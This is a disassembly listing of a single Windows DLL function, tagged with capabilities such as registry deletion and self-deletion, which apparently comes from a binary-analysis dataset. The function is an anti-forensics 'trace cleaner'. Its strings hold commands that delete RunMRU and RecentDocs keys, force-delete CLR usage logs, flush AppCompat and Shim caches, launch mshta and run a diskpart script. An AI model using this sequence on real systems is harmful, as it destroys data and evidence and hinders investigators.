Function at 0x180037510
Capabilities:
Create process on windows
Delete registry key
Open recentdocs registry key
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [0x1800af040]
xor rax, rsp
mov qword [rbp + 0x80], rax
xor r14d, r14d
lea rsi, [0x1800ce918]
mov rax, qword [0x1800ce930]
cmp rax, 0x14
jb 0x180037590
mov rbx, rsi
cmp rax, 0xf
cmova rbx, qword [0x1800ce918]
mov qword [0x1800ce928], 0x14
mov r8d, 0x14
lea rdx, str.Deleteing_All_Traces
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x14], r14b
jmp 0x1800375a1
lea r9, str.Deleteing_All_Traces
mov edx, 0x14
call fcn.18003c160
lea rdx, str.Destruct_all_traces...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18003b5b0
lea rdx, [0x18003b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8d, 0x4b
lea rdx, str.HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionExplorerRunMRU
lea rcx, [rsp + 0x70]
call fcn.1800381a0
nop
lea rax, [rsp + 0x70]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x70]
mov qword [rbp - 0x28], rax
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp - 0x30], xmm0
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x10]
call fcn.18003a420
nop
lea r9, [fcn.18003ac60]
mov edx, 0x20
mov r8d, 1
lea rcx, [rsp + 0x70]
call fcn.18003d630
mov rbx, qword [rbp - 0x10]
mov rdi, qword [rbp - 8]
cmp rbx, rdi
je 0x180037884
movabs r15, 0x7fffffffffffffff
nop word [rax + rax]
mov rcx, qword [rbx + 0x10]
mov rax, r15
sub rax, rcx
cmp rax, 0xb
jb 0x180037f4b
mov rax, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180037681
mov rax, qword [rbx]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xb
lea r9, str.REG_DELETE
lea rcx, [rbp - 0x50]
call fcn.18003c330
nop
mov r8d, 0xf
lea rdx, str.__f__REG_ADD
lea rcx, [rbp - 0x50]
call fcn.18003b2b0
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.18003abc0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], r14
mov byte [rax], 0
mov r8d, 3
lea rdx, [0x1800a657c]
lea rcx, [rsp + 0x50]
call fcn.18003b2b0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x70]
call fcn.1800368d0
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1800377a1
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18003779b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037c0d
call fcn.18003d700
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1800377de
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800377d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037c14
call fcn.18003d700
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x18003782c
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037827
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037c1b
call fcn.18003d700
mov qword [rbp - 0x20], r14
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x180037877
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037872
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037c22
call fcn.18003d700
add rbx, 0x20
cmp rbx, rdi
jne 0x180037660
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x4b
lea rdx, str.del__f__q__s_C:Users_username_AppDataLocalMicrosoftCLR_v4.0UsageLogs
lea rcx, [rsp + 0x50]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x50]
call fcn.1800368d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1800378f5
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800378f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037c06
call fcn.18003d700
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x4e
lea rdx, str.del__f__q__s_C:Users_username_AppDataLocalMicrosoftCLR_v4.0_32UsageLogs
lea rcx, [rsp + 0x50]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x50]
call fcn.1800368d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180037966
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037961
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037c06
call fcn.18003d700
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x16
lea rdx, str.diskpart__s_script.txt
lea rcx, [rsp + 0x50]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x50]
call fcn.1800368d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x1800379e2
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800379dd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037c06
call fcn.18003d700
call fcn.180036a90
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x31
lea rdx, str.rundll32.exe_kernel32.dll_BaseFlushAppcompatCache
lea rcx, [rsp + 0x50]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x50]
call fcn.1800368d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180037a63
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037a5e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037c06
call fcn.18003d700
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x27
lea rdx, str.rundll32.exe_apphelp.dll_ShimFlushCache
lea rcx, [rsp + 0x50]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x50]
call fcn.1800368d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180037adf
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037ada
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037c06
call fcn.18003d700
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180036a90
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180036d90
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x49
lea rdx, str.rundll32.exe_shell32.dll_ShellExec_RunDLL__C:WindowsSystem32mshta.exe_
lea rcx, [rsp + 0x50]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x50]
call fcn.1800368d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180037b70
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037b6b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180037c06
call fcn.18003d700
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Deleting_registry_traces__logs__and_more.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.18003b5b0
lea rdx, [0x18003b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x60
lea rdx, str.del__f__q__s_C:WindowsSystem32config_systemprofileAppDataLocalMicrosoftCLR_v4.0UsageLogs
lea rcx, [rsp + 0x50]
call fcn.1800381a0
nop
lea rcx, [rsp + 0x50]
call fcn.1800368d0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180037c2e
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037c29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180037c29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x3d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerRecentDocs
lea rcx, [rsp + 0x50]
call fcn.1800381a0
nop
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180037d3b
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180037d3b
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180037d3b
lea rdx, str.Failed_to_open_registry_key:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b5b0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18003b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180037d96
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rdx, qword [rsp + 0x50]
mov rcx, 0xffffffff80000003
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180037dd6
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180037dd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180037dd1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18003d700
mov dword [rbp + 0x10], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
movups xmmword [rbp + 0x28], xmm0
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm0
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
xor eax, eax
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.diskpart__s_script.txt
lea rcx, str.C:WindowsSystem32diskpart.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180037e6e
mov edx, 0xffffffff
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180037ea5
lea rdx, str.Failed_to_create_diskpart_process:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18003b5b0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x18003b790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.180037050
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800372b0
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x1800ce930]
cmp rax, 0xe
jb 0x180037f04
cmp rax, 0xf
cmova rsi, qword [0x1800ce918]
mov qword [0x1800ce928], 0xe
mov r8d, 0xe
lea rdx, str.Traces_Cleared
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
mov byte [rsi + 0xe], 0
jmp 0x180037f16
lea r9, str.Traces_Cleared
mov edx, 0xe
call fcn.18003c160
nop
lea rcx, [rbp - 0x10]
call fcn.18003b240
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.18003d610
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.180030c20
nop
int3